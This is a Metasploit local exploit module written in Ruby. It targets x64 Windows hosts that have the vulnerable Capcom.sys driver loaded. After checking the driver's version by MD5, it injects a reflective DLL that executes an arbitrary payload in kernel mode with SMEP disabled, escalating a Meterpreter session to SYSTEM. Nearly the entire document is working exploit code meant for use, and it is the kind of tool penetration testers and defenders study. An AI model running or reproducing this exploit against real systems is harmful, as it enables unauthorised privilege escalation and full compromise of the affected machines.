1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = NormalRanking
8

9
  include Msf::Post::File
10
  include Msf::Post::Windows::Priv
11
  include Msf::Post::Windows::Process
12
  include Msf::Post::Windows::ReflectiveDLLInjection
13
  prepend Msf::Exploit::Remote::AutoCheck
14

15
  def initialize(info = {})
16
    super(
17
      update_info(
18
        info,
19
        {
20
          'Name' => 'Windows Capcom.sys Kernel Execution Exploit (x64 only)',
21
          'Description' => %q{
22
            This module abuses the Capcom.sys kernel driver's function that allows for an
23
            arbitrary function to be executed in the kernel from user land. This function
24
            purposely disables SMEP prior to invoking a function given by the caller.
25
            This has been tested on Windows 7, 8.1, 10 (x64) and Windows 11 (x64) upto build 22000.194.
26
            Note that builds after 22000.194 contain deny lists that prevent this driver from loading.
27
          },
28
          'License' => MSF_LICENSE,
29
          'Author' => [
30
            'TheWack0lian', # Issue discovery
31
            'OJ Reeves' # exploit and msf module
32
          ],
33
          'Arch' => [ARCH_X64],
34
          'Platform' => 'win',
35
          'SessionTypes' => [ 'meterpreter' ],
36
          'DefaultOptions' => {
37
            'EXITFUNC' => 'thread'
38
          },
39
          'Targets' => [
40
            [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
41
          ],
42
          'Payload' => {
43
            'Space' => 4096,
44
            'DisableNops' => true
45
          },
46
          'References' => [
47
            ['URL', 'https://twitter.com/TheWack0lian/status/779397840762245124']
48
          ],
49
          'DisclosureDate' => '1999-01-01', # non-vuln exploit date
50
          'DefaultTarget' => 0,
51
          'Compat' => {
52
            'Meterpreter' => {
53
              'Commands' => %w[
54
                stdapi_fs_md5
55
                stdapi_sys_config_driver_list
56
              ]
57
            }
58
          },
59
          'Notes' => {
60
            'Reliability' => UNKNOWN_RELIABILITY,
61
            'Stability' => UNKNOWN_STABILITY,
62
            'SideEffects' => UNKNOWN_SIDE_EFFECTS
63
          }
64
        }
65
      )
66
    )
67
  end
68

69
  def check
70
    return Exploit::CheckCode::Unknown unless session.platform == 'windows'
71

72
    version = get_version_info
73
    if version.build_number < Msf::WindowsVersion::Win7_SP0 || version.windows_server?
74
      return Exploit::CheckCode::Unknown
75
    end
76

77
    # These versions of Windows 11 come built in with a driver block list preventing loading of capcom.sys
78
    if version.build_number > Rex::Version.new('10.0.22000.194')
79
      return Exploit::CheckCode::Safe('Target contains a block list which prevents the vulnerable driver from being loaded!')
80
    end
81

82
    if sysinfo['Architecture'] != ARCH_X64
83
      return Exploit::CheckCode::Safe
84
    end
85

86
    # Validate that the driver has been loaded and that
87
    # the version is the same as the one expected
88
    client.sys.config.getdrivers.each do |d|
89
      next unless d[:basename].downcase == 'capcom.sys'
90

91
      expected_checksum = '73c98438ac64a68e88b7b0afd11ba140'
92
      target_checksum = client.fs.file.md5(d[:filename])
93

94
      if expected_checksum == Rex::Text.to_hex(target_checksum, '')
95
        return Exploit::CheckCode::Appears
96
      end
97
    end
98

99
    return Exploit::CheckCode::Safe
100
  end
101

102
  def exploit
103
    if is_system?
104
      fail_with(Failure::None, 'Session is already elevated')
105
    end
106

107
    check_result = check
108
    if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
109
      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
110
    end
111

112
    if sysinfo['Architecture'] == ARCH_X64
113
      if session.arch == ARCH_X86
114
        fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
115
      end
116

117
      if target.arch.first == ARCH_X86
118
        fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
119
      end
120
    end
121

122
    encoded_payload = payload.encoded
123
    execute_dll(
124
      ::File.join(Msf::Config.data_directory, 'exploits', 'capcom_sys_exec', 'capcom_sys_exec.x64.dll'),
125
      encoded_payload
126
    )
127

128
    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
129
  end
130
end
131

132